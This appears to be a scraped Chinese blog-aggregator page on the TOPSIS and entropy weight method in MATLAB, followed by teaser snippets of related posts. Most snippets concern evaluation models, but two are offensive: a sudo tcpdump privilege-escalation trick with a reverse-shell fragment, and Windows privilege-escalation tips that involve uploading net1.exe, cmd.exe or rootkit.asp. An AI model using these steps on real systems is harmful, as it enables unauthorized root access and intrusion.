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TOPSIS熵权法 matlab
2024-09-01
熵权法原理及matlab代码实现
参考原理博客地址https://blog.csdn.net/u013713294/article/details/53407087 一.基本原理 在信息论中,熵是对不确定性的一种度量.信息量越大,不确定性就越小,熵也就越小:信息量越小,不确定性越大,熵也越大. 根据熵的特性,可以通过计算熵值来判断一个事件的随机性及无序程度,也可以用熵值来判断某个指标的离散程度,指标的离散程度越大,该指标对综合评价的影响(权重)越大,其熵值越小. 二.熵值法步骤 1. 选取n个国家,m个指标,则为第i个国家的第j
基于topsis和熵权法
% % X 数据矩阵 % % n 数据矩阵行数即评价对象数目 % % m 数据矩阵列数即经济指标数目 % % B 乘以熵权的数据矩阵 % % Dist_max D+ 与最大值的距离向量 % % Dist_min D- 与最小值的距离向量 % % e 熵值列表 % % d 信息熵冗余度 % % w 权值表 % % stand_S 归一化矩阵 % % sorted_S 按照降序排列的数据矩阵 %% 第一步:把数据复制到工作区,并将这个矩阵命名为X clear;clc load jingjizhibi
熵权法(the Entropy Weight Method)以及MATLAB实现
按照信息论基本原理的解释,信息是系统有序程度的一个度量,熵是系统无序程度的一个度量:如果指标的信息熵越小,该指标提供的信息量越小,在综合评价中所起作用理当越小,权重就应该越低.因此,可利用信息熵这个工具,计算出各个指标的权重,为多指标综合评价提供依据. 物理意义 物质微观热运动时,混乱程度的标志.热力学中表征物质状态的参量之一,通常用符号S表示.在经典热力学中,可用增量定义为dS=(dQ/T),式中T为物质的热力学温度;dQ为熵增过程中加入物质的热量:下标“可逆”表示加热过程所引起的变化过程是可
吴裕雄 python 熵权法确定特征权重
一.熵权法介绍 熵最先由申农引入信息论,目前已经在工程技术.社会经济等领域得到了非常广泛的应用. 熵权法的基本思路是根据各个特征和它对应的值的变异性的大小来确定客观权重. 一般来说,若某个特征的信息熵越小,表明该特征的值得变异(对整体的影响)程度越大,提供的信息量越多,在综合评价中所能起到 的作用也越大,其权重也就越大.相反,某个特征的信息熵越大,表明指标值得变异(对整体的影响)程度越小,提供的信息量也越少, 在综合评价中所起到的作用也越小,其权重也就越小. 二.熵权法赋权步骤 1. 数据标准化
如何寻找决策最优解?熵权TOPSIS助你科学决策
熵权topsis是一种融合了熵值法与TOPSIS法的综合评价方法.熵值法是一种客观赋值法,可以减少主观赋值带来的偏差:而topsis法是一种常见的多目标决策分析方法,适用于多方案.多对象的对比研究,从中找出最佳方案或竞争力最强的对象. 熵权topsis是先由熵权法计算得到指标的客观权重,再利用TOPSIS法,对各评价对象进行评价. 熵权topsis法分析步骤通常可分为以下三步: (1)数据标准化 (2)熵值法确定评价指标的权重 (3)topsis法得到评价对象的排名结果 其中第2.3步由SPSS
Python实现客观赋权法
本文从阐述Python实现客观赋权法的四种方式: 一. 熵权法 二. 因子分析权数法(FAM) 三. 主成分分析权数法(PCA) 四. 独立性权系数法 Python实现客观赋权法,在进行赋权前,先导入数据(列:各维属性:行:各样本),并自行进行去空值.归一化等操作. import pandas as pd import numpy as np data=pd.DataFrame(pd.read_excel('路径')) 一. 熵权法 若某个指标的信息熵越大(即离散程度越大),表明指标提供的信息量
Python实现熵值法确定权重
本文从以下四个方面,介绍用Python实现熵值法确定权重: 一. 熵值法介绍 二. 熵值法实现 三. Python实现熵值法示例1 四. Python实现熵值法示例2 一. 熵值法介绍 熵值法是计算指标权重的经典算法之一,它是指用来判断某个指标的离散程度的数学方法.离散程度越大,即信息量越大,不确定性就越小,熵也就越小:信息量越小,不确定性越大,熵也越大.根据熵的特性,我们可以通过计算熵值来判断一个事件的随机性及无序程度,也可以用熵值来判断某个指标的离散程度,指标的离散程度越大,该指标对综合评价
熵值法 [异质指标同质化]中-Matlab 数据归一化预处理 mapminmax函数
一.mapminmax Process matrices by mapping row minimum and maximum values to [-1 1] 意思是将矩阵的每一行处理成[-1,1]区间,此时对于模式识别或者其他统计学来说,数据应该是每一列是一个样本,每一行是多个样本的同一维,即对于一个M*N的矩阵来说,样本的维度是M,样本数目是N,一共N列N个样本. 其主要调用形式有: 1. [Y,PS] = mapminmax(X,YMIN,YMAX) % 将矩阵的每一行压缩到 [
[zz]求一维序列的信息熵(香浓熵)的matlab程序实例
对于一个二维信号,比如灰度图像,灰度值的范围是0-255,因此只要根据像素灰度值(0-255)出现的概率,就可以计算出信息熵. 但是,对于一个一维信号,比如说心电信号,数据值的范围并不是确定的,不会是(0-255)这么确定,如果进行域值变换,使其转换到一个整数范围的话,就会丢失数据,请高手指点,怎么计算. 比如数字信号是x(n),n=1~N(1)先用Hist函数对x(n)的赋值范围进行分块,比如赋值范围在0~10的对应第 一块,10~20的第二块,以此类推.这之前需要对x(n)做
sudo-tcpdump提权法
当当前用户可以通过sudo执行tcpdump时,可以用来进行提权 tcpdump中有两个参数-z和-Z,前者用来执行一个脚本,后者用来指定tcpdump以哪个用户运行,当可以通过sudo执行时,则可以指定以root用户运行一个脚本,从而达到提权的目的 一.编写反向shell脚本 #shell.sh <backpipe | /bin/bash >backpipe 二.通过sudo调用tcpdump来执行shell.sh这个脚本 [test@localhost tmp]$ -G -z /tmp/s
层次分析法MATLAB
输入成对比较矩阵,输出权重值和一致性检验结果. disp('请输入判断矩阵A(n阶)'); A=input('A='); [n,n]=size(A); x=ones(n,100); y=ones(n,100); m=zeros(1,100); m(1)=max(x(:,1)); y(:,1)=x(:,1); x(:,2)=A*y(:,1); m(2)=max(x(:,2)); y(:,2)=x(:,2)/m(2); p=0.0001;i=2;k=abs(m(2)-m(1)); while k>p
TOPSIS算法
title: TOPSIS算法 date: 2020-02-24 11:18:06 categories: 数学建模 tags: [评价模型, MATLAB] mathjax: true 定义 C.L.Hwang和K.Yoon于1981年首次提出TOPSIS (Technique for Order Preference by Similarity to an Ideal Solution),可翻译为逼近理 想解排序法,国内常简称为优劣解距离法. TOPSIS 法是一种常用的综合评价方法
MATLAB代码v2.0
% % V 原始评价指标矩 % % v_ij 第i个地区第j个指标的初始值 % % r_ij 第i个地区第j个指标的标准化值 % % R 标准化后的评价矩阵 % % m 统计地区总个数 % % n 已给指标个数 % % Y^+ 正理想解 % % Y^- 负理想解 % % D_j^+ 第i个指标与y_i^+的距离 % % D_j^- 第i个指标与y_i^-的距离 % % H_i 信息熵 % % f_ij 指标的特征比重 % % w_i 权值表 % % Y 加权规范化评价矩阵 % % T_j 第j项
2019年美国大学生数学建模竞赛(MCM/ICM) E题解题思路
这也许是我大学生涯最后一次参加数学建模比赛了吧,这次我们选择的问题是E题,以下是我们解题时候的一些思路.很多不易体现的项目产生对环境造成影响的指标可以由一些等同类型的指标来代替,如土地.森林植被被破环,可以根据生产率变动方法和置换成本法进行核算,大气污染可以用疾病成本法等来体现. 题目(谷歌翻译版本) 经济理论经常忽视其决策对生物圈的影响,或者为其需求承担无限的资源或能力.这种观点存在缺陷,现在环境面临着后果.生物圈提供了许多自然过程来维持健康和可持续的人类生活环境,这被称为生态系统服务.例子包
层次分析法、模糊综合评测法实例分析(涵盖各个过程讲解、原创实例示范、MATLAB源码公布)
目录 一.先定个小目标 二.层次分析法部分 2.1 思路总括 2.2 构造两两比较矩阵 2.3 权重计算方法 2.3.1 算术平均法求权重 2.3.2 几何平均法求权重 2.3.3 特征值法求权重 2.3.4 归一化处理过程 2.4 一致性检验 2.5 对一级指标求解 2.6 对二级指标求解 三.模糊综合评测法部分 3.1 整体思路阐述 3.2 模型的建立和求解 3.2.1 模型的建立 3.2.2 模型的举例求解 四.MATLAB代码 4.1 层次分析法-MATLAB代码 4.2 模糊综合评测法
证据权模型(C#版)
证据权法是通过计算和利用各种不同证据的权重(表示相对重要性)并将多种证据结合起来,预测某个时间是否会发生的一种方法 证据权法以概率论中的贝叶斯定理为基础.设D表示要一个随机事件.用P(D)表示这一事件概率,即D发生的概率.假设P(D)事先知道,即它是先验概率.则D不发生的概率为: 定义: 称为事件D的几率(Odd Ratio),也称优势率,它能更好的表示事件D发生的可能性大小. 用集合 表示与D有关的n个证据,并设Xj都是逻辑变量.用D|X表示"单元中存在X的情况下D发生"这一
WIN提权总结【本地存档-转载】
[ web提权 ] 1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:\windows\temp\cookies\net1.exe user 2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了. 3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com
MATLAB之易经卜卦程序+GUI
MATLAB之易经卜卦程序+GUI 日月为易,刚柔相推. 是故易有太极,是生两仪,两仪生四象,四象生八卦,八卦定吉凶,吉凶生大业.是故法象莫大乎天地,变通莫大乎四时,悬象著明莫大乎日月. 本文目的一半是对<易经>卜卦知识的总结,另一半是对利用编程解决实际问题能力的锻炼.至于卜卦,玩玩而已,但是对于<易经>,里面有很多知识值得我们学习. <易经>知识简介 本来想重新理一下<易经>知识的,但是尝试一下之后发现三言两语解释不清楚,所以有兴趣的朋友可以读
AI人工智能专业词汇集
作为最早关注人工智能技术的媒体,机器之心在编译国外技术博客.论文.专家观点等内容上已经积累了超过两年多的经验.期间,从无到有,机器之心的编译团队一直在积累专业词汇.虽然有很多的文章因为专业性我们没能尽善尽美的编译为中文呈现给大家,但我们一直在进步.一直在积累.一直在提高自己的专业性.两年来,机器之心编译团队整理过翻译词汇对照表「红宝书」,编辑个人也整理过类似的词典.而我们也从机器之心读者留言中发现,有些人工智能专业词汇没有统一的翻译标准,这可能是因地区.跨专业等等原因造成的.举个例子,DeepM
决策树(中)-集成学习、RF、AdaBoost、Boost Tree、GBDT
参考资料(要是对于本文的理解不够透彻,必须将以下博客认知阅读): 1. https://zhuanlan.zhihu.com/p/86263786 2.https://blog.csdn.net/liuy9803/article/details/80598652 3.https://blog.csdn.net/perfect1t/article/details/83684995 4.GBDT算法原理以及实例理解(!!) 5.Adaboost算法原理分析和实例+代码(简明易懂)(!!) 目录 1.
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